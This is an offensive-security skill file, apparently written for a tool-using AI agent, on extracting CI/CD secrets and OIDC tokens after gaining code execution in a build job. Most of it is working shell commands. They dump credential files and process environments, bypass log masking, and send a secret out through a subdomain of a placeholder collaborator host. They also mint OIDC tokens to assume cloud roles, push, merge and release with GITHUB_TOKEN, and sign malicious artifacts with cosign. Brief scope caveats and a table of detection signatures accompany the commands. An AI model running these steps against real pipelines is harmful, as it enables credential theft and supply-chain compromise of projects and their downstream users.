| name | cicd-secrets-exfil |
| description | Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"credential-access","when_to_use":"ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact","tags":"ci-cd, secrets, oidc, credential-access","mitre_attack":"T1552.001, T1552.007, T1078.004, T1528"} |
CI/CD Secrets & OIDC Exfiltration
Pre-requisite: you already have code execution in a CI job (see poisoned-pipeline-execution/ or github-actions-injection/). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
Surface map
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
Log masking — and how it fails
GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with ***. The mask is substring-based, applied post-write, to UTF-8 chars only. Defeats trivially:
SECRET="$MY_SECRET"
echo "$SECRET" | base64 -w0
echo -n "$SECRET" | xxd -p
echo "$SECRET" | fold -w1
echo "$SECRET" | rev
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
For authorized research: stop at step 5. Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
What lives in env
GitHub OIDC -> cloud role
If the workflow declares permissions: id-token: write, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name research \
--web-identity-token "$ID_TOKEN" \
--duration-seconds 900 \
| jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'
Trust-policy enumeration without burning a session: the OIDC sub claim is deterministic — repo:OWNER/REPO:ref:refs/heads/BRANCH or :environment:NAME. If you can read the trust policy (cross-account roles are sometimes enumerable via iam:GetRole from a low-priv key), you can predict which (repo, ref) will pass.
GITHUB_TOKEN abuse
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA
gh pr merge <N> --merge
git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research
echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin
GITHUB_TOKEN is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.
GitLab CI_JOB_TOKEN
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages"
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main"
Cache / artifact secret leakage
gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}'
ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null
grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head
gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs
grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .
Provenance / supply-chain pivot
Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via cosign / sigstore with the project's identity. Downstream consumers that verify signatures will accept malicious releases:
COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious"
This is exactly the chain SLSA L3 is meant to prevent and what the tj-actions/changed-files incident exercised end-to-end.
Detection signatures
| Signal | Source |
|---|
| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |
base64, xxd, rev, fold -w1, ${VAR:0:1} in a run: step | step-log scanner (rare in defender stacks; opportunity) |
OIDC assume-role-with-web-identity from a new (repo, ref) pair | CloudTrail AssumeRoleWithWebIdentity events |
GITHUB_TOKEN releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log |
Artifact / cache containing dotfile dirs (.docker, .aws) | cache-policy lint |
Tools
| Tool | Use |
|---|
trufflehog | Post-hoc scan of repo / job logs for leaked credentials |
gitleaks | Pre-commit + log-scan equivalent |
gato-x secrets | Automates the print + masking-bypass loop |
cosign / sigstore | Signing pivot once OIDC + push rights are in hand |
aws-vault, gcloud auth | Local validation of exchanged credentials (against research accounts only) |
Decision gate
- Print proof, not the secret.
len + first4 + last4 is enough. Anything more requires explicit written authorization for credential extraction.
- Do not exchange OIDC for cloud credentials unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the capability by minting the token and decoding the claims locally — that proves the trust path without burning a session.
- Do not push artifacts (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (
--dry-run, gh release create ... --draft on a research repo).
- Scrub any artifact / cache you created during the test before declaring done.
References
- GitHub docs — "About security hardening with OpenID Connect"
- CICD-SEC-06 — "Insufficient Credential Hygiene" (OWASP)
- Synacktiv — "GitHub Actions: Masking secrets is not enough"
- Adnan Khan — Sigstore + GHA OIDC pivot writeups
tj-actions/changed-files (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild